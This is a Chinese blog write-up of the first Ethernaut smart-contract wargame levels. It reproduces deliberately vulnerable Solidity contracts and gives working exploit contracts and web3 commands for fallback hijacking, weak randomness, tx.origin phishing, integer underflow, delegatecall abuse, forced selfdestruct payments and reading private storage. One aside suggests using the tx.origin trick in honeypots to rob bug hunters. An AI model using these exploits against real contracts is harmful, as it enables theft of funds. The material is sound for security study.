學習一下區塊鏈相關的知識,拿一個game練手一下。[game地址](https://ethernaut.zeppelin.solutions/)
Hello Ethernaut
1、安裝以太坊的輕錢包MetaMask
關於MetaMask如何使用可以(參考這篇)[http://8btc.com/thread-76137-1-1.html]
選擇ropsten test network,測試網可以免費給自己的錢,方便測試。新版本點擊buy即可。
出現player的賬號即可,然后創建一個
解題步驟:
await contract.info()
"You will find what you need in info1()."
await contract.info1()
"Try info2(), but with "hello" as a parameter."
await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
await contract.infoNum()
42
await contract.info42()
"theMethodName is the name of the next method."
await contract.theMethodName()
"The method name is method7123949."
await contract.method7123949()
"If you know the password, submit it to authenticate()."
await contract.password()
"ethernaut0"
await contract.authenticate("ethernaut0")
Fallback
目標:
- 成為合約的owner
- 將余額減少為0
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
// 繼承Ownable
contract Fallback is Ownable {
mapping(address => uint) public contributions;
// 初始化貢獻者的值為1000ETH
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
// 將合約所屬者移交給貢獻最高的人,意味着你得貢獻1000ETH以上才有可能成為所屬者
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
// 進行轉賬,但是需要注意onlyOwner的修飾,表示了只能是合約所屬者才能調用
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
// fallback函數,漏洞的核心地方
function() payable public {
// 判斷了一下轉入的錢 和 貢獻者在合約中貢獻的錢是否大於0
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
感覺fallback函數邏輯還是比較狗血,不過畢竟是一個game。
解題大概步驟則是先進行轉賬,如果轉賬目標是一個合約地址的話,則會嘗試調用合約的fallback函數。
解題步驟:
先貢獻1wei,以符合后面fallback的contributions[msg.sender]大於0條件
contract.contribute({value: 1})
給合約地址轉100wei,來觸發fallback函數
contract.sendTransaction({value: 100})
轉出合約所有余額
contract.withdraw()
Fallout
目標和上一關一樣
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
// 注意這個是Fal1out,其中的字符是1,而不是l,所以這並不是constructor,而是一個普通函數
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
與看智能合約構造函數大小寫編碼錯誤漏洞類似,由於大小寫編碼問題,錯誤的將Owned合約的構造函數Owned的首字母小寫,使之成為了一個普通函數owned,任何以太坊賬戶均可調用該函數奪取合約的所有權。
然而這個是將Fallout寫成了Fal1out,所以直接調用Fal1out函數即可
contract.Fal1out()
Coin Flip
硬幣翻轉游戲,需要連續猜對10次
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
// 使用block.blockhash(block.number-1)作為隨機數
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
這個題目考察的是對隨機數的預測,有篇文章總結的還不錯。
這題就是用了block.blockhash(block.number-1)
,這個表示上一塊的hash,然后去除以2^255
Exploit:
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
先獲取合約地址: contract.address
,然后再進行轉賬
Telephone
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
tx.origin
是一個address類型,表示交易的發送者,msg.sender
則表示為消息的發送者。在同一個合約中,他們是等價的。
pragma solidity ^0.4.18;
contract Demo {
event logData(address);
function a(){
logData(tx.origin);
logData(msg.sender);
}
}
但是在不同合約中,tx.origin
表示用戶地址,msg.sender
則表示合約地址。
pragma solidity ^0.4.18;
contract Demo {
event logData(address);
function a(){
logData(tx.origin);
logData(msg.sender);
}
}
contract Demo2{
Demo demo222;
function Demo2(address aimAddr) {
demo222 = Demo(aimAddr);
}
function exp(){
demo222.a();
}
}
所以Exploit比較明顯了
contract exploit {
Telephone expTelephone;
function exploit(address aimAddr){
expTelephone = Telephone(aimAddr);
}
function hack(){
expTelephone.changeOwner(tx.origin);
}
}
這個可以用在於蜜罐智能合約中,盜取那些想尋找漏洞利用的朋友。(笑臉)
Token
目標:
初始化的時候給了20個token,需要通過攻擊來獲取更多大量的token。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
比較明顯的require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;
,是存在整數溢出問題。因為uint是無符號數,會讓其變為負數即會轉換為很大的正數。
題目中初始化為20,當轉21的時候則會發生下溢,導致數值變大其數值為2**256 - 1
>>> 2**256 - 1
115792089237316195423570985008687907853269984665640564039457584007913129639935L
在運算方面,可以用OpenZeppelin庫來防御這種漏洞。
Delegation
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
rickgray師傅已經總結的很棒:
call類的函數是用於調用其他合約,其中的區別如下:
- call 的外部調用上下文是外部合約
- delegatecall 的外部調用上下是調用合約上下文
- callcode() 其實是 delegatecall() 之前的一個版本,兩者都是將外部代碼加載到當前上下文中進行執行,但是在 msg.sender 和 msg.value 的指向上卻有差異。
pragma solidity ^0.4.10;
constant Bob{
uint public n;
address public sender;
function callcodeWendy(address _wendy, uint _n){
// msg.sender為Bob,合約地址
_wendy.callcode(bytes4(keccak256("setN(uint256)")), _n)
}
function delegatecallWendy(address _wendy, uint _n){
// msg.sender為調用者
_wendy.delegatecall(bytes4(keccak256("setN(uint256)")), _n);
}
}
constant Wendy{
uint public n;
address public sender;
function setN(uint _n){
n = _n;
sender = msg.sender;
}
}
回到題目來,本題用的是delegatecall
,這個洞在學Access Control - 訪問控制
的時候用Remix復現過,由於不太熟悉web3,所以在這個game中倒是有點束手無策。
因為Delegate的pwn函數會將所屬者改為當前調用用戶,加上delegatecall的使用,即Delegation調用了pwn函數,改變了自己的owner。
復現的時候因為理解問題導致踩坑,Delegation部署的時候應該填寫Delegate已部署好的地址,而不是用戶賬號地址,否則會導致delegatecall調用失敗。
解題:
web3.sha3("pwn()");
> "0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab"
//effectively the first four bytes are: 0xdd365b8b
await contract.sendTransaction({ data:"0xdd365b8b" });
Force
目標是讓合約的余額大於0
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
智能合約中有selfdestruct
函數,他將會銷毀當前合約,並把它所有資金發送到給定的地址(強制性的)。
Exploit:
pragma solidity ^0.4.20;
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
Vault
目標是為了解鎖用戶。
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
password存放於private之中,有點類似Bad Randomness - 可預測的隨機處理
案例中寫的隨機數,也是用私有變量。但是鏈上數據都是公開的,可以通過查詢節點上面的塊數據來獲取。
解題步驟:
web3.toAscii(web3.eth.getStorageAt(contract.address,1))
> "A very strong secret password :)"
contract.unlock("A very strong secret password :)")
參考文章
https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/
https://www.bubbles966.cn/blog/2018/05/07/analyse_dapp_by_ethernaut_2/